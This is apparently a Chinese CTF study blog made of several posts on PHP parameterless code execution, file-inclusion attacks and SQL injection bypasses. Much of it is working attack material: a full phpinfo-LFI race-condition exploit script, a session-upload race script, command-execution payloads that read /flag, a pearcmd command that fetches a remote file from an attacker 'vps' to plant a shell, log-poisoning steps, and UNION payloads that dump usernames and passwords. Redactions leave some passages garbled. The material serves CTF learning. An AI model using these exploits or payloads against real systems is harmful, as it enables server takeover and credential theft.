payload:（多发几次，随机返回当前目录下的文件内容，会返回flag的）
1
?var=show_source(array_rand(array_flip(scandir(getcwd()))));
session_id()
使用条件：当请求头中有cookie时（或者走投无路手动添加cookie头也行，有些CTF题不会卡）
首先我们需要开启session_start()来保证session_id()的使用，session_id可以用来获取当前会话ID，也就是说它可以抓取PHPSESSID后面的东西，但是phpsession不允许()出现
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15



$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
    //hint：你可以对着键盘一个一个看，然后在没过滤的符号上用记号笔画一下（bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹！•••*～●');
}

highlight_file(__FILE__);

payload：
1
2
?参数=session_start();system(hex2bin(session_id()));
PHPSESSID=636174202f666c6167     //cat /flag的十六进制
getallheaders()
getallheaders()返回当前请求的所有请求头信息，局限于Apache（apache_request_headers()和getallheaders()功能相似，可互相替代，不过也是局限于Apache）
当确定能够返回时，我们就能在数据包最后一行加上一个请求头，写入恶意代码，再用end()函数指向最后一个请求头，使其执行，payload：
var_dump(end(getallheaders()));
get_defined_vars()
特点：比getallheaders()更具普遍性，可获取所有全局变量。
工作原理：
返回包含所有全局变量的数组，顺序为：$_GET → $_POST → $_COOKIE → $_FILES
通过操作这些变量，可以实现无参数RCE
利用步骤：
首先确认回显：print_r(get_defined_vars())
添加额外参数传递恶意代码：
1
a=eval(end(current(get_defined_vars())));&b=system('ls /');
也可将eval替换为assert，同样能执行命令
长度限制
7
5

4


：linux中的 > 符号和 >> 符号
1.通过>来创建文件
1
2
>test.txt
ls
2.通过>将命令执行的结果存入文件中
1
echo "hello world">test
但是通过>来将命令执行结果写入文件会覆盖掉文件原本的内容，如果我们想要在原本文件内容后面追加内容就要使用>>
1
2
3
4
echo "aaa">test
cat test
echo "bbb">>test
cat test
linux中命令换行
在linux中，当我们执行文件中的命令的时候，我们通过在没有写完的命令后面加 “"，可以将一条命令写在多行
比如我们有一个test文件内容如下：
1
2
3
4
ec\
ho \
hello \
world!
然后我们用sh命令来执行一下：
1
sh test
成功输出了 hello world!
ls -t命令
在linux中，我们使用ls -t命令后，可以将文件名按照时间顺序排列出来（后创建的排在前面）
1
2
3
4
touch a
touch b
touch c
ls -t
结果c b a
利用ls -t 和 > 以及换行符 绕过长度限制执行命令
我们先看执行如下命令的结果：
1
2
ls -t>test
cat test
ls -t 命令列出文件名，然后每个文件名按行储存，如果我们将我们要执行的命令拆分为多个文件名，然后再结合命令换行，然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗，而且从上面我们可以看出，ls -t>test的执行顺序是先创建文件test，然后执行ls -t，然后将执行结果写入test文件
我们可以做如下小实验：
比如我们要执行 echo hello world
1
2
3
4
5
6
7
> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _
sh _
  最终成功的输出了 “hello world
软连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1. 创建指向网站根目录的软链接
ln -s /var/www/html www_link

# 2. 压缩软链接（必须用 -y 或 --symlinks）
zip -y slink.zip www_link

# 3. 删除软链接，创建同名目录（用于第二步上传木马）
rm www_link
mkdir www_link
echo "" > www_link/shell.php

# 4. 压缩目录（覆盖之前的软链接）
zip -r shell.zip www_link

# 5. 先传 slink.zip，再传 shell.zip
# 解压后 shell.php 实际落在 /var/www/html/shell.php



文件包含
2026-07-02T14:00:00.000Z
安全声明：本文仅用于 CTF 学习与授权环境复现。
可直接运行的 PHP shell 示例已替换为 。
对应十六进制 PHP payload 已替换为 。
文中的危险脚本文件名发布时统一改为 output.txt，避免触发杀软或被误用为可执行脚本。
文件包含
介绍
常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()
区别如下:
require():找不到被包含的文件会产生致命错误，并停止脚本运行
include():找不到被包含的文件只会产生警告，脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含，则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含，则不会再次包含
include()函数并不在意被包含的文件是什么类型，只要有php代码，都会被解析出来
session文件包含
php的session文件的保存路径可以在phpinfo的session.save_path看到
介绍
Session文件包含是本地文件包含(LFI)漏洞的高级利用方式，攻击者通过：
向Session文件中注入恶意PHP代码
利用文件包含漏洞执行这些代码
获得服务器控制权或读取敏感信息
利用
满足两个条件：
1.Session文件的内容可控，即攻击者可以通过某种方式将恶意代码写入Session文件中。
2.能够获取Session文件的路径，这样才能通过文件包含函数来执行Session文件中的代码
WP
先查看 /etc/passwd
得到

分析
1.系统类型线索：/bin/ash
1
root:x:0:0:root:/root:/bin/ash
重要发现：root用户使用的是/bin/ash，而不是常见的/bin/bash
为什么重要：这是Alpine Linux的标志性特征！
类比理解：就像看到某人用iPhone而不是Android，就能猜出他用的是苹果生态系统
 2.Alpine Linux的Session存储规则
系统类型 Session默认路径
Ubuntu/Debian /var/lib/php/sessions/
CentOS/RHEL /var/lib/php/session/
Alpine Linux /tmp/
Windows C:\Windows\Temp\
所以推测默认路径是/tmp/ 
再读取 
1
/?file=php://filter/convert.base64-encode/resource=action.php
得到一串字符，base64解码
1
2
3
4
5
6
7
8
9
10






my dairy
my booklist


抓包看cookie

进入session文件了

蚁剑连接
条件竞争
题目
1
2
3
4
5
6
7
8
9
10
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
分析：
把一些危险字符替换在你的输入请求中
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import io
import requests
import threading
url = 'http://301fdf90-6009-4daa-bab2-37e6d76f58f3.challenge.ctf.show/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'mumuzi'
    }
    while True:
        f = io.BytesIO(b'a' * 1024 * 10)
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)})
def read(session):
    while True:
        response = session.get(url+'?file=/tmp/sess_flag')
        if 'mumuzi' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    write = threading.Thread(target=write, args=(session,))
    write.daemon = True
    write.start()
    read(session)
攻击原理
利用机制：利用PHP的session.upload_progress特性
当PHP启用此功能时，会将会话上传进度信息写入会话文件
攻击者可以控制写入的内容，注入PHP代码
竞争条件：
一个线程持续写入恶意代码到会话文件
另一个线程（read函数）不断尝试包含并执行这个会话文件
通过高速循环增加在文件被清理前成功执行的概率
目标漏洞：目标网站存在文件包含漏洞
URL参数?file=/tmp/sess_flag显示网站允许包含任意文件
攻击者利用这点包含含有恶意PHP代码的会话文件
日志包含
基本原理
日志文件包含漏洞是一种利用服务器日志记录机制和文件包含漏洞相结合的攻击方式。攻击者通过向日志文件中注入恶意代码，然后利用文件包含漏洞使服务器执行这些代码，从而获取服务器控制权。
主要攻击类型
1. Web中间件日志文件包含
常见路径:Apache: /var/log/apache/access.log
Nginx: /var/log/nginx/access.log 和 /var/log/nginx/error.log
利用条件:知道日志文件的具体位置
Web服务器对日志文件具有可读权限
存在文件包含漏洞
2. 恶意代码注入方式
通过URL参数注入:
请求URL包含PHP代码，如: http://目标/api/
需使用Burp Suite等工具避免浏览器自动URL编码
请求记录在access.log中后，通过文件包含执行
例如
1
http://10.226.65.254/api/
通过User-Agent头注入:
修改请求头中的User-Agent字段，插入PHP代码
优势: 可绕过URL参数过滤机制
适用于对请求参数严格过滤但未过滤请求头的场景
3. SSH日志文件包含
日志路径: /var/log/auth.log 或 /var/log/secure
利用方法:将SSH用户名设置为PHP代码: ssh ''@目标IP
登录失败记录会被写入auth.log
通过文件包含漏洞加载日志文件执行代码
适用场景: 当Web应用存在文件包含漏洞，且能访问系统认证日志
临时文件包含
原理
当我们在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件，在请求结束后就会被删除。
利用phpinfo的特性可以很好的帮助我们，因为phpinfo页面会将当前请求上下文中所有变量（所有数据）都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到$_FILES变量的内容，拿到 临时文件变量名 之后，就可以进行包含执行我们传入的恶意代码。
但文件包含漏洞和phpinfo页面通常是两个页面，理论上我们需要先发送数据包给phpinfo页面，然后从返回页面中匹配出临时文件名，再将这个文件名发送给文件包含漏洞页面，进行getshell。但是在第一个请求结束时，临时文件就被删除了，第二个请求自然也就无法进行包含。
所有需要条件竞争
1
2
3
4
5
$_FILES['userfile']['name'] 客户端文件的原名称。
$_FILES['userfile']['type'] 文件的 MIME 类型，如果浏览器提供该信息的支持，例如"image/gif"。
$_FILES['userfile']['size'] 已上传文件的大小，单位为字节。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在php.ini的upload_tmp_dir 指定，默认是/tmp目录。
$_FILES['userfile']['error'] 该文件上传的错误代码，上传成功其值为0，否则为错误信息。
$_FILES['userfile']['name']这个变量值的获取很重要，因为临时文件的名字都是由随机函数生成的，只有知道文件的名字才能正确的去包含它。
获取文件名
文件被上传后，默认会被存储到服务端的默认临时目录中，该临时目录由php.ini的upload_tmp_dir属性指定，假如upload_tmp_dir的路径不可写，PHP会上传到系统默认的临时目录中。
不同系统服务器常见的临时文件默认存储目录，了解系统的默认存储路径很重要，因为在很多时候服务器都是按照默认设置来运行的。
Linux目录
Linxu系统服务的临时文件主要存储在根目录的tmp文件夹下，具有一定的开放权限。
1
/tmp/
Windows目录
Windows系统服务的临时文件主要存储在系统盘Windows文件夹下，具有一定的开放权限。
1
2
C:/Windows/
C:/Windows/Temp/
存储在服务器上的临时文件的文件名都是随机生成的，了解不同系统服务器对临时文件的命名规则很重要，因为有时候对于临时文件我们需要去爆破，此时我们必须知道它的命名规则是什么。
可以通过phpinfo来查看临时文件的信息。
1
2
3
Linux临时文件主要存储在`/tmp/`目录下，格式通常是（`/tmp/php[6个随机字符]`）

Windows临时文件主要存储在`C:/Windows/`目录下，格式通常是（`C:/Windows/php[4个随机字符].tmp`）
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
import sys

import threading

import socket

# setup函数主要作用是生成并返回三个值：

# 1.上传恶意代码的HTTP请求REQ1，一个是标识符TAG，一个用于本地文件包含的HTTP请求LFIREQ

def setup(host, port):

    # 设定标识符 TAG 和 恶意载荷 payload

    # 设计 上传给phpinfo的超大填充数据包

    TAG="Security Test"

    PAYLOAD="""%s\r

')?>\r""" % TAG

    REQ1_DATA="""-----------------------------7dbff1ded0714\r

Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r

Content-Type: text/plain\r

\r

%s

-----------------------------7dbff1ded0714--\r""" % PAYLOAD

    padding="A" * 5000

    REQ1="""POST /06/phpinfo.php?a="""+padding+""" HTTP/1.1\r

Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r

HTTP_ACCEPT: """ + padding + """\r

HTTP_USER_AGENT: """+padding+"""\r

HTTP_ACCEPT_LANGUAGE: """+padding+"""\r

HTTP_PRAGMA: """+padding+"""\r

Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r

Content-Length: %s\r

Host: %s\r

\r

%s""" %(len(REQ1_DATA),host,REQ1_DATA)

    #modify this to suit the LFI script  

    LFIREQ="""GET /06/lfi.php?file=%s HTTP/1.1\r

User-Agent: Mozilla/4.0\r

Proxy-Connection: Keep-Alive\r

Host: %s\r

\r

\r

"""

    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):

    # 建立两个HTTP链接，一个是给phpinfo的POST请求，一个是给文件包含页面发送webshell的请求

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))

    s2.connect((host, port))

    # phpinforeq是第一个POST数据包

    s.send(phpinforeq)

    # d用于存储从服务器接收到的响应数据

    d = ""

    while len(d) < offset:

        d += s.recv(offset)

    try:

        i = d.index("[tmp_name] => ")

        # fn为提取到的临时文件路径

        fn = d[i+17:i+31]

    except ValueError:

        return None

    s2.send(lfireq % (fn, host))

    d = s2.recv(4096)

    s.close()

    s2.close()

    if d.find(tag) != -1:

        return fn

counter=0

class ThreadWorker(threading.Thread):

    def __init__(self, e, l, m, *args):

        threading.Thread.__init__(self)

        self.event = e

        self.lock =  l

        self.maxattempts = m

        self.args = args

    def run(self):

        global counter

        while not self.event.is_set():

            with self.lock:

                if counter >= self.maxattempts:

                    return

                counter+=1

            try:

                x = phpInfoLFI(*self.args)

                if self.event.is_set():

                    break                

                if x:

                    print "\nGot it! Shell created in /tmp/g"

                    self.event.set()

            except socket.error:

                return

def getOffset(host, port, phpinforeq):

    """Gets offset of tmp_name in the php output"""

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host,port))

    s.send(phpinforeq)

    d = ""

    while True:

        i = s.recv(4096)

        d+=i        

        if i == "":

            break

        # detect the final chunk

        # 如果接收到的响应数据以 "0\r\n\r\n" 结尾

        #（可能表示 HTTP 响应的最后一个分块数据），则也停止接收

        if i.endswith("0\r\n\r\n"):

            break

    s.close()

    i = d.find("[tmp_name] => ")

    if i == -1:

        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)

    # padded up a bit

    return i+256

def main():

    print "LFI With PHPInfo()"

    print "-=" * 30

    # 参数检查，如果没有提供足够的参数，程序终止，需要host和port

    if len(sys.argv) < 2:

        print "Usage: %s host [port] [threads]" % sys.argv[0]

        sys.exit(1)

    # 解析目标主机，通过gethostbyname将主机名解析为IP地址，若解析失败，返回错误信息退出

    try:

        host = socket.gethostbyname(sys.argv[1])

    except socket.error, e:

        print "Error with hostname %s: %s" % (sys.argv[1], e)

        sys.exit(1)

    # 解析端口号，默认80

    port=80

    try:

        port = int(sys.argv[2])

    except IndexError:

        pass

    except ValueError, e:

        print "Error with port %d: %s" % (sys.argv[2], e)

        sys.exit(1)

    # 线程池默认大小为10

    # 如果用户提供了线程池大小的参数（第三个参数），程序会尝试将其转换为整数。

    # 如果转换失败（比如非法输入），程序会输出错误信息并退出

    poolsz=10

    try:

        poolsz = int(sys.argv[3])

    except IndexError:

        pass

    except ValueError, e:

        print "Error with poolsz %d: %s" % (sys.argv[3], e)

        sys.exit(1)

    # 获取偏移量

    print "Getting initial offset...",  

    reqphp, tag, reqlfi = setup(host, port)

    offset = getOffset(host, port, reqphp)

    sys.stdout.flush()

    maxattempts = 1000

    e = threading.Event()

    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz

    sys.stdout.flush()

    tp = []

    for i in range(0,poolsz):

        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:

        t.start()

    try:

        while not e.wait(1):

            if e.is_set():

                break

            with l:

                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))

                sys.stdout.flush()

                if counter >= maxattempts:

                    break

        print

        if e.is_set():

            print "Woot!  \m/"

        else:

            print ":("

    except KeyboardInterrupt:

        print "\nTelling threads to shutdown..."

        e.set()

    print "Shuttin' down..."

    for t in tp:

        t.join()

if __name__=="__main__":

    main()
利用pearcmd.php从LFI到getshell
条件:register_argc_argv=On
pear可以用来拉取远程的代码
pear install -R /tmp http://vps/output.txt
假如我的vps上有一个文件output.txt
echo "aaa";  
?>
如果你远程服务器中/var/www/html中php代码可以被解析，那么你使用pear拉取到的output.txt就是
aaa
如果远程服务器上的php没有被解析，拉取到的output.txt就是
echo "aaa";  
?>
所以，当执行了pear后，会将$_SERVER[‘argv’]当作参数执行！如果存在文件包含漏洞的话，就可以包含pearcmd.php，拉取远程服务器上的文件到靶机，再通过文件包含获取shell。
如果靶机出网
//test.php  
我们尝试拉取远程服务器的output.txt到靶机的/tmp目录下
payload
http://localhost/test.php?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://vps/output.txt  
//shell就是我们的一句话木马
然后文件包含output.txt同时传参cmd即可
解释payload
?file=/usr/local/lib/php/pearcmd.php指定 pearcmd.php 文件的路径。
pearcmd.php 是 PEAR（PHP 扩展和应用库）的命令行工具。
&+install+-R+/tmp+http://vps/output.txt这是 pearcmd.php 的 install 命令的参数。
install：安装指定的包。
-R /tmp：将安装的文件保存到 /tmp 目录。
http://vps/output.txt：从远程服务器下载的恶意文件。
如果靶机不出网，我们可以写一句话木马进hello.php
解释payload
?+config-create+这是 PHP 的 pearcmd.php 工具的一个参数，用于创建配置文件。
pearcmd.php 是 PEAR（PHP 扩展和应用库）的命令行工具。
/&file=/usr/local/lib/php/pearcmd.php&/指定 pearcmd.php 文件的路径。
如果服务器上存在 pearcmd.php，这段代码会尝试调用它。
    - 这段代码的目的是将恶意 PHP 代码写入目标文件。- **`+/tmp/hello.php`**    - 指定目标文件的路径，即 `/tmp/hello.php`。    - 如果攻击成功，恶意代码会被写入该文件。后来看了p牛的文章才知道$SERVER并不认为&符号是参数的分隔符，而是将+号作为分隔符
注意:在传参的时候不能用hackbar，因为<和>会被hackbar编码而不会生效
zip协议.
前置
**zip://是PHP流协议，语法是：zip://zip文件路径#zip内部文件名
它的作用是：允许 PHP 直接读取并执行压缩包内部的文件
第一步：制作木马 写一个 PHP 一句话木马，保存时必须以 .php 结尾，比如命名为 output.txt。
第二步：压缩文件 将 output.txt 压缩成一个 ZIP 压缩包，比如叫 test.zip。
第三步：伪装后缀（绕过上传限制） 将 test.zip 重命名为 test.jpg。
为什么？因为服务器端的上传功能通常只允许 .jpg 格式通过。改成 .jpg 后，服务器就会乖乖把它保存到 upload/test.jpg。但这个文件本质上依然是个 ZIP 压缩包。
注意使用hackbar时将#号转换为%23**
注意使用hackbar时将#号进行 URL 编码转换为%23
polar2026春季挑战杯Pandora Box
根据提示上传一个jpg，访问跳转时报错
查看源码
1
/index.php?file=php://filter/convert.base64-encode/resource=index
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40



    
    Secure Image Loader
    


    
        试试吧
        
        
            [提示]:
            
                安全策略：仅允许上传 .jpg 或 .png 格式
                执行策略：所有文件最终将被强制视为 PHP脚本 
            
        

        
            
            

            
        


        
    



1
/?file=zip://upload/0cd87d5c854a71ec7e3f2e96e8736032.jpg%23shell


[参考文献][https://blog.csdn.net/m0_46467017/article/details/126380415]


SQL注入
2026-07-02T13:02:55.000Z
安全声明：本文仅用于 CTF 学习与授权环境复现。
可直接运行的 PHP shell 示例已替换为 。
对应十六进制 PHP payload 已替换为 。
文中的危险脚本文件名发布时统一改为 output.txt，避免触发杀软或被误用为可执行脚本。
SQL注入
联合注入
1.寻找注入点： 通过提交测试Payload（如单引号或逻辑语句）观察页面反应，确认参数是否存在SQL注入风险及判断其类型（字符型/数值型）。
2.确定字段数： 使用ORDER BY子句逐次递增列数进行探测，当页面因超出实际列数而报错时，即可确定原始查询的字段数量。
3.探测回显点： 构造UNION SELECT语句并令原查询结果为空，观察页面中显示的数字位置，这些位置即为可用于回显数据的字段。
4.获取当前数据库基本信息： 在回显点位置替换为database()或version()等函数，从而获取当前数据库名称、版本等关键信息。
5.查询表名： 访问information_schema.tables系统表，查询并列出当前数据库中的所有表名，寻找可能存储目标数据的表。
6.查询列名： 针对已识别的目标表，查询information_schema.columns系统表，获取该表包含的所有列名结构。
7.提取最终数据： 直接查询目标表的目标列，将所需数据（如Flag）通过回显点输出到页面，完成整个联合注入攻击流程
报错注入
extractvalue (有长度限制，32位)
select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
updatexml (有长度限制，32位)
select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
盲注
#####布尔盲注
SUBSTR() 函数用于截取字符串中的一部分。利用 SUBSTR() 函数，逐步截取数据库中的某个数据：
SUBSTR(string, start, length) 其中，string 表示要截取的字符串，start 表示截取的起始位置，length 表示截取的长度。SUBSTR() 函数会从字符串的 start 位置开始，截取指定长度的字符
MID() 函数也是用于截取字符串的函数。
MID(string, start, length)
时间盲注
IF()
IF() 函数是一种条件判断函数，它用于判断指定条件是否成立，并根据判断结果返回不同的值.
[](https://hello-ctf.com/hc-web/sql_injection/#__codelineno-46-1)IF(condition, true, false)
其中，condition 表示要判断的条件，true 表示条件成立时要返回的值，false 表示条件不成立时要返回的值。如果条件成立，IF() 函数将返回 true，否则将返回 false`
1
SELECT username,password FROM users WHERE id = 1 AND IF(ASCII(SUBSTR(username,1,1))=97,SLEEP(5),0)
Sqlite
判断列数
注释符后加空格
1
' ORDER BY 1-- 
系统表 sqlite_master
1
' UNION SELECT 1, sql, 3 FROM sqlite_master--

分析
CREATE TABLE flaggggggggggg (id…, flag TEXT…)
知道：表名=flaggggggggggg，字段名=flag
1
' UNION SELECT 1, flag, 3 FROM flaggggggggggg--
或者先查询所有表
1
' UNION SELECT 1,name,3 FROM sqlite_master WHERE type='table'--
接着查结构
1
' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE name='flaggggggggggg'--
最后查看flag
1
' UNION SELECT 1, flag, 3 FROM flaggggggggggg--
注释符
1
'#', '--+', '-- -', '%23', '%00', '/**/'
注释符过滤(–,#) → 利用||'闭合
1
' OR 1 = 1||'
“and、or” 过滤
1
2
可以使用"&&"和"||"代替，
 ^ 代替 or
关键词过滤
1
2
3
4
5
6
like模糊匹配去绕过
-1'||(username)like'fla_或者是-1'||(username)like'fla%
大小写绕过id=-1' UnIoN SeLeCT xxx
双写绕过适用于将关键词置空的场景id=-1'UNIunionONSeLselectECT1,2,3–-
编码绕过可以使用URL，hex，ASCII等编码绕过例如'or 1=127%20%4F%52%201%3D%31%20%2D%2D
注释绕过内联注释/**/将关键词分隔开id=1' UN/**/ION SE/**/LECT database() --
空格过滤
1
2
3
4
内联注释代替空格id=1_/**/_and_/**/_1=1
括号嵌套select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
制表符、换行、不可见空格%09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)
反引号union(select`table_name`,`table_type`from`information_schema`.`tables`);
符号”=”过滤
1
2
3
4
5
6
7
8
1. 用in代替=
   ?id=1 and 1=1 绕过：?id=1 and 1 in (1)
2.like代替'='
3.正则表达式select database() regexp ^1$';

^字符串开头锚点|表示匹配必须从字符串的开头开始|
1字面字符|要匹配的字符是数字1|
$字符串结尾锚点|表示匹配必须到字符串的结尾结束|
逗号过滤
1
2
3
4
5
6
7
逗号被过滤时可以使用from...for...
比如原始：?id=1 and substr(database(),1,1)='s' 
    绕过：?id=1 and substr(database() from 1 for 1)='s'
    
limit中的逗号可以替换成offset
select * from users limit 1 offset 2;    #代替 limit 1,2
需要注意，limit 1,2 指的是从第一行往后取2行（包括第一行和第二行)；而limit 1 offset 2是从第一行开始只取第二行
False注入
1
2
select * from users where username = 0;# 查询表中所有数据
其实是利用了mysql的隐式类型转换，当字符串与数字比较时，会将字符串转换为浮点数，转换失败并返回0，0 = 0返回True，就会返回表中所有数据
等价函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if（）=> case...when..then...else...end
1' or if((ascii(substr((select database()),1,1))>97),1,0)#
等于1' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#


sleep() => benchmark()
 `benchmark(count, expr)`：将expr执行count次，返回执行总时间
`benchmark(1000000, sleep(1))`不会延迟 1000000 秒
它会执行 `sleep(1)` 100 万次，但 MySQL 优化后只延迟 1-2 秒
 benchmark()函数用来测试执行速度，第一个参数代表执行的次数，第二个参数代表要执行的表达式或函数，根据执行的时间来判断
 benchmark是MySQL内置函数，不需要额外权限
 

concat_ws() => group_concat()   #concat_ws(separator, str1, str2, ...)：用指定分隔符连接多个字符串
select group_concat(database());=select concat_ws(1,database());



substr() => substring() / lpad() / rpad() / left() / mid()
`left(string, length)`获取字符串前length个字符
`MySQL中`mid`是`substr`的别名
`lpad(string, n)` 如果 `n` 小于字符串长度，**会返回字符串的前 `n` 个字符
`rpad(string, n)` 如果 `n` 小于字符串长度，**会返回字符串的后 `n` 个字符
group by 代替 order by 绕过
级联
- `CONCAT('a', 'b') => 'ab'`    - 如果任意一栏为NULL，则返回NULL- `CONCAT_WS(分隔符, 字串1, 字串2...)`    - `CONCAT_WS('@', 'gg', 'inin')`=>`gg@inin`
ASCII 功能
ascii('A') => 65
字符函数
char(65) => 'a'
00截断
PHP版本 < 5.4.3：在PHP 5.3.4及以后版本中，此漏洞已被修复
1
2
'%00' OR 1=1 --
%00被解释为空字符
join无列名注入
join是SQL语句中的连接字符 我们可以通过join将两张表中的列连接在⼀块 就导致有可能会产⽣
相同的表名，但是jion不允许合并的两个表中有相同的列名，因此通过报错得到列名
1
1' || extractvalue(1,concat(0x07, (select * from(select * from output b join output c)a), 0x07))#
Cookie 注入
User-Agent 注入
Refer 注入
二次注入
二次注入的原理，在第一次进行数据库插入数据的时候，使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义，但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义，但是“\”并不会插入到数据库中，在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，直接从数据库中取出了脏数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。
比如在第一次插入数据的时候，数据中带有单引号，直接插入到了数据库中；然后在下一次使用中在拼凑的过程中，就形成了二次注入。
二次注入，可以概括为以下两步:
第一步：插入恶意数据
进行数据库插入数据时，对其中的特殊字符进行了转义处理，在写入数据库的时候又保留了原来的数据。
第二步：引用恶意数据
开发者默认存入数据库的数据都是安全的，在进行查询时，直接从数据库中取出恶意数据，没有进行进一步的检验的处理。
sqli-labs-24
查看源码pass_change.php

发现只有username没有过滤
注册一个账号admin’#        密码123

更换密码为1111

成功修改
1
UPDATE users SET PASSWORD='12345' where username='admin'#' and password='123456'

此时实际更改的是用户admin的密码，现在登录admin密码1111发现登录成功
HTTP参数污染
由于tomcat和apache解析参数的顺序不同，当注入两个参数?id=1&id=2，此时tomcat解析的是第一个参数，而apache解析的是第二个参数并且SQL语句也是在apache服务器上执行的，由此绕过tomcat的检测。
less29

闭合方式为’
确定回显
1
?id=1&id=0'union select 1,2,(select group_concat(username,':',password) from users)--+
less30
闭合方式为”
1
?id=1&id=-2"%20union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+
less31
1
?id=1&id=2"

闭合方式为”)
1
?id=1&id=-2")%20union%20select%201,2,(select%20group_concat(username,%27:%27,password)%20from%20users)--+
宽字节注入
原理：mysql 在使用 GBK 编码的时候，会认为两个字符为一个汉字，例如%aa%5c 就是一个汉字（前一个 ascii 码大于 128 才能到汉字的范围）。因此我们在此想办法将’前面添加的\除掉
1
%df 吃掉 \。具体的原因是 urlencode(\') = %5c%27，我们在%5c%27 前面添加%df，形成%df%5c%27，而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字，此时%df%5c 就是一个汉字，%27 则作为一个单独的符号在外面，同时也就达到了我们的目的。
%df = 十六进制 0xDF = 十进制 223（>128）
%5c = 反斜杠 \ = 十进制 92
GBK规则：223 + 92 → 合法汉字（具体字不重要）
结果：(92)被223“带走”，单引号(39)无人看管，直接闭合SQL语句
less32

查看源码
1
发现将\替换成\\，将'和"分别替换成\'和\"
1
?id=1%df%27
1
?id=-1%df%27%20union%20select%201,database(),3%20--+
1
2
